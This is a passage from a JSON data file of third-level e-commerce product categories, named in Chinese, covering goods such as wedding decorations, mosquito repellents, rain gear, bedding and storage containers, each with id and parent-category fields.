alse},{"id":27220,"name":"蒸汽面罩","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27390,"name":"肘部防护用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27886,"name":"颁奖托盘","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27851,"name":"伴手礼","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27879,"name":"吊顶纱幔","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27838,"name":"堵门/游戏道具","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27814,"name":"拱门","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27836,"name":"红包/利是封","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27840,"name":"花瓣/仿真花瓣","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27905,"name":"婚房布置套装","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27906,"name":"婚房装扮用品","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27880,"name":"婚庆公仔","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27883,"name":"婚庆跪垫","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27882,"name":"婚庆绢花","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27881,"name":"婚庆印章","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27896,"name":"婚庆展台/婚庆门亭","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27901,"name":"交车蝴蝶结","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27813,"name":"拉花","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27829,"name":"礼花/礼炮","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27868,"name":"礼金簿/签名册","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27817,"name":"路引","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27816,"name":"请柬","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27854,"name":"手腕花","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27839,"name":"糖盒/糖盒配件","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27884,"name":"帷幔装饰","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27885,"name":"新娘配件","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27815,"name":"胸花","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27835,"name":"喜碗/敬茶杯","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27853,"name":"席位卡","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27833,"name":"喜字/剪纸/贴纸","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27855,"name":"椅背纱","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27902,"name":"桌裙蓬蓬纱","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27852,"name":"子孙桶","parent_cid":21485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27607,"name":"抑菌卡","parent_cid":21405,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27688,"name":"应急去污宝","parent_cid":21405,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27689,"name":"指纹清洁纸","parent_cid":21405,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27641,"name":"竹炭包/炭盒/活性炭","parent_cid":21405,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27645,"name":"缝纫机/针织机","parent_cid":21406,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27652,"name":"缝纫配件","parent_cid":21406,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27584,"name":"剪刀/美发剪/园艺剪","parent_cid":21406,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27608,"name":"家用梯","parent_cid":21406,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27609,"name":"绣花机","parent_cid":21406,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27176,"name":"修甲剪刀","parent_cid":21406,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27651,"name":"照明电筒","parent_cid":21406,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27147,"name":"按摩棒/锤","parent_cid":21066,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27354,"name":"按摩刮疗片/板","parent_cid":21066,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27326,"name":"按摩穴位棒","parent_cid":21066,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26666,"name":"美体用品","parent_cid":21066,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26665,"name":"增高用品","parent_cid":21066,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27110,"name":"苍蝇拍","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27425,"name":"超声波驱蚊器/电子驱蚊器","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27111,"name":"除螨垫","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27107,"name":"除螨凝胶","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27112,"name":"除螨贴","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27106,"name":"电蚊拍","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27226,"name":"防霉防蛀","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27173,"name":"防蚊贴/防蚊手环","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27162,"name":"灭鼠笼/捕鼠器","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27169,"name":"灭蚊灯/吸蚊机/灭蝇灯","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27958,"name":"汽车防虫网","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27108,"name":"祛螨包","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27115,"name":"驱蚊草","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27228,"name":"驱蚊挂件","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27114,"name":"驱蚊扣","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27016,"name":"纱窗/纱门","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27227,"name":"物理除螨工具","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27305,"name":"物理驱虫工具","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27113,"name":"物理驱蚊工具","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27109,"name":"粘蝇纸","parent_cid":21271,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26083,"name":"挡雨帽","parent_cid":20924,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26085,"name":"防潮垫/抽屉垫","parent_cid":20924,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26084,"name":"防雨布","parent_cid":20924,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26077,"name":"伞","parent_cid":20924,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26082,"name":"伞架/伞配件","parent_cid":20924,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26078,"name":"雨棚","parent_cid":20924,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26081,"name":"雨披/雨衣","parent_cid":20924,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26080,"name":"雨鞋","parent_cid":20924,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26079,"name":"雨罩","parent_cid":20924,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26086,"name":"冰垫","parent_cid":20925,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26088,"name":"冰贴","parent_cid":20925,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26087,"name":"冰枕","parent_cid":20925,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26092,"name":"降温喷雾","parent_cid":20925,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26091,"name":"迷你风扇","parent_cid":20925,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26089,"name":"扇子","parent_cid":20925,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26090,"name":"扇子配件","parent_cid":20925,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26777,"name":"烘鞋器","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26762,"name":"鞋拔","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26763,"name":"鞋撑","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26759,"name":"鞋垫","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26760,"name":"鞋塞","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26764,"name":"鞋刷/鞋擦","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26761,"name":"鞋套","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26778,"name":"鞋套机","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26758,"name":"靴夹","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26811,"name":"一次性鞋套","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26757,"name":"其它","parent_cid":21125,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26071,"name":"定时器/计时器","parent_cid":20921,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26055,"name":"挂钟","parent_cid":20921,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26056,"name":"立钟/落地钟","parent_cid":20921,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26057,"name":"闹钟/投影钟","parent_cid":20921,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26054,"name":"座钟","parent_cid":20921,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27891,"name":"充气用品","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27841,"name":"挂饰/生肖挂饰","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27866,"name":"荷花灯/河灯","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27907,"name":"节庆布艺用品","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27908,"name":"节日装扮用品","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27863,"name":"孔明灯","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27826,"name":"蜡烛","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27824,"name":"毛条","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27827,"name":"面具","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27862,"name":"南瓜灯","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27831,"name":"喷彩/喷雪","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27893,"name":"飘空气球","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27825,"name":"气球","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27823,"name":"哨子","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27904,"name":"甜品台装饰","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27861,"name":"兔子灯","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27864,"name":"荧光棒","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27892,"name":"整蛊用品","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27909,"name":"装扮布置套餐","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27865,"name":"装饰灯","parent_cid":21487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26241,"name":"蚕丝被","parent_cid":20988,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26239,"name":"化纤被","parent_cid":20988,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26240,"name":"棉花被","parent_cid":20988,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26238,"name":"乳胶被","parent_cid":20988,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26252,"name":"羊毛被/驼毛被","parent_cid":20988,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26172,"name":"羽绒/羽毛被","parent_cid":20988,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27424,"name":"儿童床品套件/床单/被套/枕套","parent_cid":21272,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26980,"name":"毯子","parent_cid":21272,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26237,"name":"保健枕","parent_cid":20982,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26236,"name":"乳胶枕","parent_cid":20982,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26095,"name":"U型枕","parent_cid":20982,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26161,"name":"枕头/枕芯","parent_cid":20982,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27751,"name":"按摩椅防尘罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27717,"name":"被子防尘袋","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27711,"name":"冰箱防尘罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27631,"name":"餐桌罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27556,"name":"车罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27555,"name":"床罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27765,"name":"吹风机防尘袋/罩/架","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27583,"name":"大衣/西服罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27714,"name":"电话防尘罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27713,"name":"电脑防尘罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27592,"name":"电扇/风扇防尘罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27630,"name":"电视罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27750,"name":"挂烫机防尘罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27712,"name":"开关防尘贴","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27715,"name":"空调挡风板","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27716,"name":"空调防尘罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27629,"name":"沙发罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27749,"name":"微波炉防尘罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27581,"name":"鞋罩/靴罩/鞋袋","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27752,"name":"遥控器防尘套","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27710,"name":"其他防尘罩","parent_cid":21414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27724,"name":"包包收纳盒/箱","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27692,"name":"便携购物车","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27693,"name":"壁式收纳盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27696,"name":"橱柜收纳筐","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27611,"name":"储物箱","parent_cid":21412,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27760,"name":"电子烟收纳盒/套","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27624,"name":"缝隙柜","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27674,"name":"购物车袋/包","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27695,"name":"果蔬收纳袋","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27639,"name":"化妆箱/盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27697,"name":"火柴收纳盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27728,"name":"口红收纳包/盒/袋","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27729,"name":"口罩收纳盒/袋/夹","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27699,"name":"零食收纳筐","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27761,"name":"美妆蛋收纳盒/架","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27727,"name":"面膜收纳盒/袋","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27725,"name":"棉签收纳盒/袋","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27698,"name":"镊子收纳盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27691,"name":"乳牙收纳盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27730,"name":"手表收纳盒/架/套","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27613,"name":"收纳包","parent_cid":21412,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27623,"name":"收纳袋","parent_cid":21412,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27612,"name":"收纳凳","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27622,"name":"收纳罐","parent_cid":21412,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27616,"name":"收纳柜","parent_cid":21412,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27619,"name":"收纳盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27615,"name":"收纳架","parent_cid":21412,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27620,"name":"收纳筐","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27621,"name":"收纳篮","parent_cid":21412,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27618,"name":"收纳瓶","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27614,"name":"收纳套","parent_cid":21412,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27617,"name":"收纳桶","parent_cid":21412,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27694,"name":"手帐收纳盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27763,"name":"剃须刀收纳包/架/盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27764,"name":"脱毛仪收纳包/袋/盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27742,"name":"卸妆棉收纳盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27744,"name":"洗脸巾收纳盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27726,"name":"牙套收纳盒/架","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27743,"name":"指甲油收纳盒","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27552,"name":"其他","parent_cid":21412,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27708,"name":"被子固定器","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27701,"name":"冰柜置物架","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27747,"name":"插线板收纳盒","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27627,"name":"抽气泵","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27577,"name":"挂钩/粘钩","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27746,"name":"家具防倾倒器","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27771,"name":"家用收纳手推车","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27588,"name":"夹子/收纳夹子","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27703,"name":"居家搬运带","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27647,"name":"理线器/集线器/绕线器","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27762,"name":"路由器收纳盒/架","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27704,"name":"帽子收纳架","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27626,"name":"尼龙绳","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27748,"name":"暖气片置物架","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27705,"name":"排插固定器","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27625,"name":"切药器","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27554,"name":"绳子","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0